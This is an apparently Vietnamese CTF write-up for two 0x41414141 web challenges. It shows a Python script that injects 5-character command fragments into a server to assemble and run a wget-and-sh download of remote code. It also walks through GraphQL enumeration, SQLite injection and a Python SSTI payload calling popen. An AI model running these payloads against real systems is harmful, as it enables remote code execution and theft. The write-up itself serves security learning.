0x41414141

**GRAPHQL 2.0

**HACKME

des của chall như sau, nó nói xạo á chứ mình test thì limit 5 char lận

tức là bài này ta có thể thực hiện command linux thoải mái với tối đa 5 character

bài này chôm idea từ 1 chall của anh da cam năm 2017

mình giải thích ý tưởng như sau

sử dụng > để chuyển hướng output nhằm tạo file đồng thời lợi dụng \ nhằm ám chỉ câu lệnh đó chưa kết thúc để có thể ghép nhiều phần của câu lệnh lại

với đoạn command trên thì ta có thể tạo được lệnh ls -t >g sort file trong thư mục theo thời gian và cho vào file g

nếu ta tạo được lệnh đó thì liệu ta có thể tạo được 1 bash để rce thoải mái không?

câu trả lời là không, vì ls nó sort file mặc định theo thứ tự mã ascii nên ta sẽ không thể tái tạo được 1 số lệnh theo ý muốn

đoạn trên như là proof of work để mình thực hiện các lệnh tiếp theo,

dưới đây là script để solve bài này

import re
import requests
import time
from time import sleep


payload = [
    
    r'>ls\\', 
    r'ls>_', 
    r'>\ \\', 
    r'>-t\\', 
    r'>\>g', 
    r'ls>>_',
    r'>234'
    r'>:1\\'
    r'>99\\',
    '>78\\', 
    '>56\\', 
    '>60\\', 
    '>21\\', 
    r'>\ \\', 
    '>et\\', 
    '>wg\\', 
    #r'>\>a',
    

    # exec
    r'sh _', 
    #r'sh g', 
]

requests.get("http://207.180.200.166:8000/?reset=1")
for i in payload:
    print("http://207.180.200.166:8000/?cmd="+i)
    r=requests.get("http://207.180.200.166:8000/?cmd="+i)
    sleep(0.5)
r=requests.get("http://207.180.200.166:8000/?cmd=cat g")
print(r.text)   

sau khi chạy file, lên trình duyệt run sh g

mặc dù nó trả về 500 error nhưng ta vẫn thấy có request tới tức là lệnh thực thi thành công.

  • cách 2:

mình thử nl /* thì thấy server error nhưng khi thực hiện ls lại thì thấy xuất hiện một file mới là core, chắc cái này tác giả config sai nên bị bug chỗ này

đọc file core thì search thấy flag, tức là lệnh nl /* đã đọc toàn bộ hệ thống và cho vào file core :v

  • cách 3

idea y chang cách 1 nhưng simple hơn đó là

ghi 1 file có tên là cat sau đó sử dụng file đó để đọc tệp :v

vì trong thư mục hiện tại chỉ có mỗi file tên là cat, nên khi * thì ta có thể call được lệnh cat ra

ez game

**MAZE

vào challange thì ta thấy một login page như sau

sau khi thử sqli thì mình không thấy vấn đề gì, tiếp theo thử robots.txt thì thấy 1 dir mới là /sup3rsecr37@p1

đây là một gui của graphql, buồn thay mình chưa sử dụng graphql lần nào, search một lúc thì mình cứ ném payload đại vô

mình thấy 1 cái đặc biệt là allTraders, nhìn qua các payload thì mình cũng biết sơ sơ truy vấn nó như thế nào

may thay gui này hỗ trợ cho mình như thế này

làm tiếp như thế 1 lúc ta sẽ được truy vấn như sau

ta có password và title, thử login vào trang lúc nãy

ngon, login thành công, bước tiếp theo mình tiếp tục fuzz

web có thêm 1 endpoint là trade, nhìn qua có vẻ giống sqli nên mình theo hướng sqli

mlem mlem, kiểu này thấy mùi server được code bằng python rồi

mà python thì thường đi với sqlite, nên mình cứ nhảy thẳng vào sqlite luôn

2 cột, oke chưa :v

chuẩn sqlite lun!

có table admin, select ra thôi ez game

ta có một endpoint là admin nên cứ thử login thôi

lul cứ tưởng done r ai ngờ :(

cần trôn u mình xem xét thì thấy.

có đoạn code sau trong script.js

var messages = [
    'Hey there 👋',
    'I see you made it to the admin panel',
    'but still you didn\'t escape the maze',
    'get the flag and beat the maze',
    getCurrentTime(),
    'show me what you got ' + globalThis.name
  ]

nhìn có vẻ nghi ngờ ở đây :v , mình tiếp tục nhìn vào cookie thì thấy

vậy chắc chắn lấy name từ cookie rồi render ra như thế

liên quan đến việc render thì nghĩ ngay tới SSTI, mà đã xác định ứng dụng sử dụng python nên thẳng tiến thôi.

để làm SSTI thì first step luôn luôn là detect để chắc chắn nó có phải là SSTI không

SSTI thì mình khá quen nên mình sẽ làm nhanh đoạn này

ở đây mình sử dụng os._wrap_close

payload mình dùng

[].__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('ls').read()

đến đây ta đọc flag là end game.

Last updated